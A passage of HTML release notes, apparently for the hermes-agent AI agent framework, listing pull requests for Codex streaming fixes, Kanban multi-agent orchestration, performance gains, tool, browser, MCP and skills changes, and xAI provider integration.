<li>Periodic memory logging for leak detection. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/17667" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17667/hovercard">#17667</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/27102" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27102/hovercard">#27102</a>)</li>
</ul>
<h3>Codex / Responses-API maturation</h3>
<ul>
<li>TTFB watchdog for stalled Codex Responses streams. (<a href="https://github.com/NousResearch/hermes-agent/pull/32042" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32042/hovercard">#32042</a>)</li>
<li>Actionable hint when stale-call detector fires on known silent-reject pattern. (<a href="https://github.com/NousResearch/hermes-agent/pull/32016" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32016/hovercard">#32016</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/33133" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33133/hovercard">#33133</a>)</li>
<li>Drop SDK <code>responses.stream()</code> helper; consume events directly. (<a href="https://github.com/NousResearch/hermes-agent/pull/33042" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33042/hovercard">#33042</a>)</li>
<li>Gracefully recover from <code>invalid_encrypted_content</code>. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/10144" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/10144/hovercard">#10144</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33035" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33035/hovercard">#33035</a>)</li>
<li>Recover Codex Responses streams with null output. (<a href="https://github.com/NousResearch/hermes-agent/pull/32963" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32963/hovercard">#32963</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/33390" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33390/hovercard">#33390</a>)</li>
<li>Drop foreign-issuer reasoning and transient <code>rs_tmp</code> reasoning replay state. (<a href="https://github.com/NousResearch/hermes-agent/pull/33156" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33156/hovercard">#33156</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/33146" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33146/hovercard">#33146</a>)</li>
<li>Codex 429 quota classified as rate-limit, not missing credentials. (<a href="https://github.com/NousResearch/hermes-agent/pull/33168" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33168/hovercard">#33168</a>)</li>
<li>Codex chat path falls back to credential_pool when singleton is empty. (<a href="https://github.com/NousResearch/hermes-agent/pull/33189" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33189/hovercard">#33189</a>)</li>
<li>Codex re-auth syncs credential_pool. (<a href="https://github.com/NousResearch/hermes-agent/pull/33164" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33164/hovercard">#33164</a>)</li>
<li>Omit <code>tools</code> key when no tools registered. (<a href="https://github.com/NousResearch/hermes-agent/pull/33409" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33409/hovercard">#33409</a>)</li>
<li>Parse Codex image-generation SSE directly. (<a href="https://github.com/NousResearch/hermes-agent/pull/32933" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32933/hovercard">#32933</a>)</li>
</ul>
<hr>
<h2>🎛️ Kanban — Multi-Agent Maturation Wave</h2>
<h3>Orchestration &amp; dispatch</h3>
<ul>
<li>Orchestrator-driven auto-decomposition on triage. (<a href="https://github.com/NousResearch/hermes-agent/pull/27572" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27572/hovercard">#27572</a>)</li>
<li>Kanban swarm topology helper — <code>hermes kanban swarm</code> creates a Swarm v1 graph (root + parallel workers + gated verifier + gated synthesizer + shared blackboard). (salvages <a href="https://github.com/NousResearch/hermes-agent/pull/26791" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26791/hovercard">#26791</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Niraven/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Niraven">@Niraven</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/28443" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28443/hovercard">#28443</a>)</li>
<li>Dispatcher wires review agents from the review column. (<a href="https://github.com/NousResearch/hermes-agent/pull/28449" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28449/hovercard">#28449</a>)</li>
<li>Stale-detection for running tasks in dispatcher. (<a href="https://github.com/NousResearch/hermes-agent/pull/28452" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28452/hovercard">#28452</a>)</li>
<li>Respawn guard blocks repeat worker storms. (<a href="https://github.com/NousResearch/hermes-agent/pull/28455" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28455/hovercard">#28455</a>)</li>
<li>Respawn guard defers <code>blocker_auth</code> instead of auto-blocking. (<a href="https://github.com/NousResearch/hermes-agent/pull/28683" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28683/hovercard">#28683</a>)</li>
<li>Cross-profile cron jobs surface in dashboard. (<a href="https://github.com/NousResearch/hermes-agent/pull/28457" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28457/hovercard">#28457</a>)</li>
<li>Worker visibility endpoints: <code>/workers/active</code>, <code>/runs/{id}</code>, <code>/inspect</code>. (salvages <a href="https://github.com/NousResearch/hermes-agent/pull/23761" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23761/hovercard">#23761</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Interstellar-code/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Interstellar-code">@Interstellar-code</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/28432" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28432/hovercard">#28432</a>)</li>
</ul>
<h3>Task configuration &amp; scheduling</h3>
<ul>
<li>Per-task model override. (<a href="https://github.com/NousResearch/hermes-agent/pull/28364" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28364/hovercard">#28364</a>)</li>
<li>Board-level default workdir. (<a href="https://github.com/NousResearch/hermes-agent/pull/28394" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28394/hovercard">#28394</a>)</li>
<li>Configurable worktree paths and branches. (<a href="https://github.com/NousResearch/hermes-agent/pull/28462" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28462/hovercard">#28462</a>)</li>
<li>Scheduled task start times. (<a href="https://github.com/NousResearch/hermes-agent/pull/28384" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28384/hovercard">#28384</a>)</li>
<li>Scheduled status for delayed follow-ups. (<a href="https://github.com/NousResearch/hermes-agent/pull/28467" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28467/hovercard">#28467</a>)</li>
<li>Trimmed task comments. (<a href="https://github.com/NousResearch/hermes-agent/pull/28399" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28399/hovercard">#28399</a>)</li>
<li>Initial-status for human-ops cards. (<a href="https://github.com/NousResearch/hermes-agent/pull/28414" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28414/hovercard">#28414</a>)</li>
<li><code>max_in_progress</code> config to cap concurrent running tasks. (<a href="https://github.com/NousResearch/hermes-agent/pull/28420" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28420/hovercard">#28420</a>)</li>
<li>Filter tasks by workflow fields. (<a href="https://github.com/NousResearch/hermes-agent/pull/28454" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28454/hovercard">#28454</a>)</li>
<li><code>--sort</code> for <code>hermes kanban list</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/28427" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28427/hovercard">#28427</a>)</li>
<li>Optional <code>board</code> parameter on all MCP tools. (<a href="https://github.com/NousResearch/hermes-agent/pull/28444" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28444/hovercard">#28444</a>)</li>
<li>Stamp originating ACP session_id on tasks. (<a href="https://github.com/NousResearch/hermes-agent/pull/28447" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28447/hovercard">#28447</a>)</li>
<li><code>auto_promote_children</code> config toggle. (<a href="https://github.com/NousResearch/hermes-agent/pull/28344" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28344/hovercard">#28344</a>)</li>
<li><code>archive --rm</code> to hard-delete archived tasks. (<a href="https://github.com/NousResearch/hermes-agent/pull/28355" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28355/hovercard">#28355</a>)</li>
<li>Promote dependents when parent is archived. (<a href="https://github.com/NousResearch/hermes-agent/pull/28372" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28372/hovercard">#28372</a>)</li>
<li>Promote blocked tasks when parent dependencies complete. (<a href="https://github.com/NousResearch/hermes-agent/pull/28377" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28377/hovercard">#28377</a>)</li>
<li>Demote ready children when parent is reopened. (<a href="https://github.com/NousResearch/hermes-agent/pull/28382" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28382/hovercard">#28382</a>)</li>
<li><code>promote</code> verb for manual <code>todo→ready</code> recovery + bulk <code>--ids</code>. (salvage <a href="https://github.com/NousResearch/hermes-agent/pull/29464" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29464/hovercard">#29464</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/31334" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31334/hovercard">#31334</a>)</li>
</ul>
<h3>Dashboard</h3>
<ul>
<li>Drag-to-delete trash zone + bulk delete. (<a href="https://github.com/NousResearch/hermes-agent/pull/28468" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28468/hovercard">#28468</a>)</li>
<li>Surface per-task <code>model_override</code> in show + tool output. (<a href="https://github.com/NousResearch/hermes-agent/pull/28442" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28442/hovercard">#28442</a>)</li>
<li>Cross-profile notification delivery via <code>kanban.notification_sources</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/28395" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28395/hovercard">#28395</a>)</li>
<li>Scratch-workspace deletion warning for users. (<a href="https://github.com/NousResearch/hermes-agent/pull/30949" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30949/hovercard">#30949</a>)</li>
<li>Mobile dashboard UX polish. (<a href="https://github.com/NousResearch/hermes-agent/pull/28127" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28127/hovercard">#28127</a>)</li>
</ul>
<h3>Reliability</h3>
<ul>
<li>Worker log retention configurable. (<a href="https://github.com/NousResearch/hermes-agent/pull/27867" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27867/hovercard">#27867</a>)</li>
<li>Configurable claim TTL. (<a href="https://github.com/NousResearch/hermes-agent/pull/28392" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28392/hovercard">#28392</a>)</li>
<li>Fingerprint crash errors to prevent fleet-wide retry exhaustion. (<a href="https://github.com/NousResearch/hermes-agent/pull/28380" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28380/hovercard">#28380</a>)</li>
<li>Reset failure counters on <code>unblock_task</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/28379" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28379/hovercard">#28379</a>)</li>
<li>Detect cycles in <code>decompose_triage_task</code> sibling-link pre-validation. (<a href="https://github.com/NousResearch/hermes-agent/pull/28088" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28088/hovercard">#28088</a>)</li>
<li>Surface unusable triage auxiliary model (auto-decompose aware). (<a href="https://github.com/NousResearch/hermes-agent/pull/27871" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27871/hovercard">#27871</a>)</li>
<li>Align failure diagnostics with retry limit. (<a href="https://github.com/NousResearch/hermes-agent/pull/27868" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27868/hovercard">#27868</a>)</li>
<li>Align worker terminal timeout with task runtime. (<a href="https://github.com/NousResearch/hermes-agent/pull/27864" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27864/hovercard">#27864</a>)</li>
<li>Auto-install bundled skills (kanban-worker) on init. (<a href="https://github.com/NousResearch/hermes-agent/pull/28368" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28368/hovercard">#28368</a>)</li>
<li>Make legacy task migration idempotent. (<a href="https://github.com/NousResearch/hermes-agent/pull/28397" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28397/hovercard">#28397</a>)</li>
<li>Serialize DB initialization. (<a href="https://github.com/NousResearch/hermes-agent/pull/28383" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28383/hovercard">#28383</a>)</li>
<li>Persist worker session metadata on completion. (<a href="https://github.com/NousResearch/hermes-agent/pull/28387" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28387/hovercard">#28387</a>)</li>
<li>Pass <code>accept-hooks</code> to worker chat subprocess. (<a href="https://github.com/NousResearch/hermes-agent/pull/28393" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28393/hovercard">#28393</a>)</li>
<li>Preserve worker tools with restricted toolsets. (<a href="https://github.com/NousResearch/hermes-agent/pull/28396" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28396/hovercard">#28396</a>)</li>
<li>Avoid unsafe Windows worker Hermes shim resolution. (<a href="https://github.com/NousResearch/hermes-agent/pull/28398" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28398/hovercard">#28398</a>)</li>
<li>Sync slash subcommands with live parser. (<a href="https://github.com/NousResearch/hermes-agent/pull/28376" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28376/hovercard">#28376</a>)</li>
<li>Show scheduled kanban tasks in dashboard. (<a href="https://github.com/NousResearch/hermes-agent/pull/28400" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28400/hovercard">#28400</a>)</li>
<li>Assign single-task kanban decompositions. (<a href="https://github.com/NousResearch/hermes-agent/pull/28401" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28401/hovercard">#28401</a>)</li>
<li>Configurable <code>max_tokens</code> for kanban specify. (<a href="https://github.com/NousResearch/hermes-agent/pull/28374" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28374/hovercard">#28374</a>)</li>
<li>Per-job profile support for cron. (<a href="https://github.com/NousResearch/hermes-agent/pull/28124" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28124/hovercard">#28124</a>)</li>
<li>Codex app-server: include every Kanban-pinned path in <code>writable_roots</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/28435" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28435/hovercard">#28435</a>)</li>
<li>Cache kanban worker guidance at session init for prompt-cache reuse. (<a href="https://github.com/NousResearch/hermes-agent/pull/28425" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28425/hovercard">#28425</a>)</li>
</ul>
<hr>
<h2>⚡ Performance</h2>
<ul>
<li><code>openai._base_client</code> import deferred — 240ms / 17MB off every CLI cold start. (<a href="https://github.com/NousResearch/hermes-agent/pull/28864" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28864/hovercard">#28864</a>)</li>
<li>Agent-loop hot-path optimizations — 47% fewer per-conversation function calls (399k → 213k for 31-turn chat). (<a href="https://github.com/NousResearch/hermes-agent/pull/28866" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28866/hovercard">#28866</a>)</li>
<li>Compression-feasibility check deferred — 170-290ms off every agent construction. (<a href="https://github.com/NousResearch/hermes-agent/pull/28957" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28957/hovercard">#28957</a>)</li>
<li>Adaptive subprocess poll — ~195ms off every tool call, 1+ second per turn. (<a href="https://github.com/NousResearch/hermes-agent/pull/29006" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29006/hovercard">#29006</a>)</li>
<li>Termux TUI cold start speedup. (<a href="https://github.com/NousResearch/hermes-agent/pull/29419" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29419/hovercard">#29419</a>)</li>
<li>Termux non-TUI cold start speedup. (salvage <a href="https://github.com/NousResearch/hermes-agent/pull/29438" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29438/hovercard">#29438</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/30121" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30121/hovercard">#30121</a>)</li>
<li>Termux fast-path version + deferred bare-prompt agent startup. (<a href="https://github.com/NousResearch/hermes-agent/pull/30609" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30609/hovercard">#30609</a>)</li>
<li>Cut hermes <code>--version</code> wall time 63% — flips head-to-head vs Codex CLI. (<a href="https://github.com/NousResearch/hermes-agent/pull/31968" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31968/hovercard">#31968</a>)</li>
<li>Date-only timestamp + loud gateway-DB roundtrip logging — improves prompt-cache hit rate. (<a href="https://github.com/NousResearch/hermes-agent/pull/27675" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27675/hovercard">#27675</a>)</li>
<li>Cache kanban worker guidance at session init for prompt-cache reuse. (<a href="https://github.com/NousResearch/hermes-agent/pull/28425" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28425/hovercard">#28425</a>)</li>
</ul>
<hr>
<h2>🔧 Tool System</h2>
<h3>Tool surface</h3>
<ul>
<li><code>patch</code>: indent preservation, CRLF preservation, per-file failure escalation. (<a href="https://github.com/NousResearch/hermes-agent/pull/32273" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32273/hovercard">#32273</a>)</li>
<li><code>terminal</code>: warn at call time when <code>background=true</code> runs silently. (<a href="https://github.com/NousResearch/hermes-agent/pull/31289" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31289/hovercard">#31289</a>)</li>
<li><code>terminal</code>: nudge homebrewed CI pollers at the tool surface. (<a href="https://github.com/NousResearch/hermes-agent/pull/33142" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33142/hovercard">#33142</a>)</li>
<li><code>x_search</code>: surface degraded results + validate dates. (<a href="https://github.com/NousResearch/hermes-agent/pull/29484" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29484/hovercard">#29484</a>)</li>
<li><code>x_search</code>: auto-enable toolset when xAI credentials are configured. (<a href="https://github.com/NousResearch/hermes-agent/pull/27376" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27376/hovercard">#27376</a>)</li>
<li><code>computer_use</code>: route SOM/vision captures via auxiliary.vision. (<a href="https://github.com/NousResearch/hermes-agent/pull/30126" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30126/hovercard">#30126</a>)</li>
<li><code>transcription</code>: reject symlinked audio inputs. (<a href="https://github.com/NousResearch/hermes-agent/pull/10082" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/10082/hovercard">#10082</a>)</li>
<li>TTS: prevent double <code>[pause]</code> in xAI auto speech tags. (<a href="https://github.com/NousResearch/hermes-agent/pull/32237" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32237/hovercard">#32237</a>)</li>
<li>TTS: preserve native audio outside Telegram voice delivery. (<a href="https://github.com/NousResearch/hermes-agent/pull/28512" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28512/hovercard">#28512</a>)</li>
<li>TTS: opt-in xAI <code>auto_speech_tags</code> speech-tag pauses for natural voice replies. (<a href="https://github.com/NousResearch/hermes-agent/pull/29376" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29376/hovercard">#29376</a>)</li>
<li>Voice: chunk oversized CLI recordings. (<a href="https://github.com/NousResearch/hermes-agent/pull/30044" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30044/hovercard">#30044</a>)</li>
<li>Voice: honor <code>PULSE_SERVER</code> / <code>PIPEWIRE_REMOTE</code> inside Docker. (<a href="https://github.com/NousResearch/hermes-agent/pull/22534" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22534/hovercard">#22534</a>)</li>
</ul>
<h3>Browser</h3>
<ul>
<li>All cloud browser providers (Browserbase, Anchor, Camofox, Hyperbrowser, etc.) migrated to image_gen-style plugins. (salvages <a href="https://github.com/NousResearch/hermes-agent/pull/25580" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25580/hovercard">#25580</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/27403" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27403/hovercard">#27403</a>)</li>
<li>Auto-launch Chromium-family browser for CDP. (<a href="https://github.com/NousResearch/hermes-agent/pull/29106" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29106/hovercard">#29106</a>)</li>
<li>Docker: discover agent-browser Chromium binary at boot. (<a href="https://github.com/NousResearch/hermes-agent/pull/33184" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33184/hovercard">#33184</a>)</li>
</ul>
<h3>Image generation</h3>
<ul>
<li><strong>Krea</strong> provider plugin (Krea 2 Medium + Large). (<a href="https://github.com/NousResearch/hermes-agent/pull/33236" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33236/hovercard">#33236</a>)</li>
<li>FAL backend ported to <code>plugins/image_gen/fal</code>. (salvage <a href="https://github.com/NousResearch/hermes-agent/pull/27966" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27966/hovercard">#27966</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/30380" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30380/hovercard">#30380</a>)</li>
<li>Cache xAI ephemeral URL responses to disk. (<a href="https://github.com/NousResearch/hermes-agent/pull/31759" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31759/hovercard">#31759</a>)</li>
</ul>
<h3>Web search</h3>
<ul>
<li><strong>xAI Web Search</strong> as a provider plugin. (<a href="https://github.com/NousResearch/hermes-agent/pull/29042" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29042/hovercard">#29042</a>)</li>
</ul>
<h3>MCP</h3>
<ul>
<li><strong>Nous-approved MCP catalog</strong> with interactive picker. (<a href="https://github.com/NousResearch/hermes-agent/pull/30870" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30870/hovercard">#30870</a>)</li>
<li><strong>TLS client certificate (mTLS) support</strong> for HTTP and SSE MCP servers. (<a href="https://github.com/NousResearch/hermes-agent/pull/33721" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33721/hovercard">#33721</a>)</li>
<li>Stdin paste-back fallback for headless OAuth flow. (<a href="https://github.com/NousResearch/hermes-agent/pull/32053" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32053/hovercard">#32053</a>)</li>
<li><code>skip</code> at paste prompt bypasses auth without disabling server. (<a href="https://github.com/NousResearch/hermes-agent/pull/32069" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32069/hovercard">#32069</a>)</li>
<li>Registry-aware <code>mcp_</code> prefix on both ends of round-trip. (<a href="https://github.com/NousResearch/hermes-agent/pull/31700" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31700/hovercard">#31700</a>)</li>
</ul>
<hr>
<h2>🧩 Skills Ecosystem</h2>
<h3>Skills system</h3>
<ul>
<li><strong>Skill bundles</strong> — <code>/&lt;name&gt;</code> loads multiple skills. (<a href="https://github.com/NousResearch/hermes-agent/pull/28373" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28373/hovercard">#28373</a>)</li>
<li>Skills Hub: health checks, freshness badge, and a watchdog cron. (<a href="https://github.com/NousResearch/hermes-agent/pull/32345" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32345/hovercard">#32345</a>)</li>
<li>Opt-in AST deep diagnostics on skill writes. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/30918" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30918/hovercard">#30918</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/31198" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31198/hovercard">#31198</a>)</li>
<li>Bundled/pinned skill protection in background-review prompts. (<a href="https://github.com/NousResearch/hermes-agent/pull/28338" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28338/hovercard">#28338</a>)</li>
<li>Show user-modified skill names in bundled skill sync summary. (<a href="https://github.com/NousResearch/hermes-agent/pull/28671" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28671/hovercard">#28671</a>)</li>
<li>Load symlinked skill slash commands. (<a href="https://github.com/NousResearch/hermes-agent/pull/27759" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27759/hovercard">#27759</a>)</li>
<li>Deduplicate Skills Hub search results by identifier, not name. (<a href="https://github.com/NousResearch/hermes-agent/pull/29490" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29490/hovercard">#29490</a>)</li>
</ul>
<h3>New skills</h3>
<ul>
<li><code>openhands</code> — delegate-to-OpenHands orchestration skill (closes <a href="https://github.com/NousResearch/hermes-agent/issues/477" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/477/hovercard">#477</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/32261" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32261/hovercard">#32261</a>)</li>
<li><code>code-wiki</code> — persistent indexed dev wiki (closes <a href="https://github.com/NousResearch/hermes-agent/issues/486" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/486/hovercard">#486</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/32240" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32240/hovercard">#32240</a>)</li>
<li><code>web-pentest</code> — OWASP recipes (closes <a href="https://github.com/NousResearch/hermes-agent/issues/400" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/400/hovercard">#400</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/32265" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32265/hovercard">#32265</a>)</li>
<li><code>baoyu-article-illustrator</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/28287" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28287/hovercard">#28287</a>)</li>
</ul>
<hr>
<h2>☁️ Providers</h2>
<h3>xAI deep integration</h3>
<ul>
<li><strong>xAI Web Search</strong> as a <code>plugins/web/xai/</code> provider plugin. (<a href="https://github.com/NousResearch/hermes-agent/pull/29042" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29042/hovercard">#29042</a>)</li>
<li><strong><code>hermes proxy</code> xAI upstream</strong> — OpenAI-compatible local proxy backed by xai-oauth. (<a href="https://github.com/NousResearch/hermes-agent/pull/28356" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28356/hovercard">#28356</a>)</li>
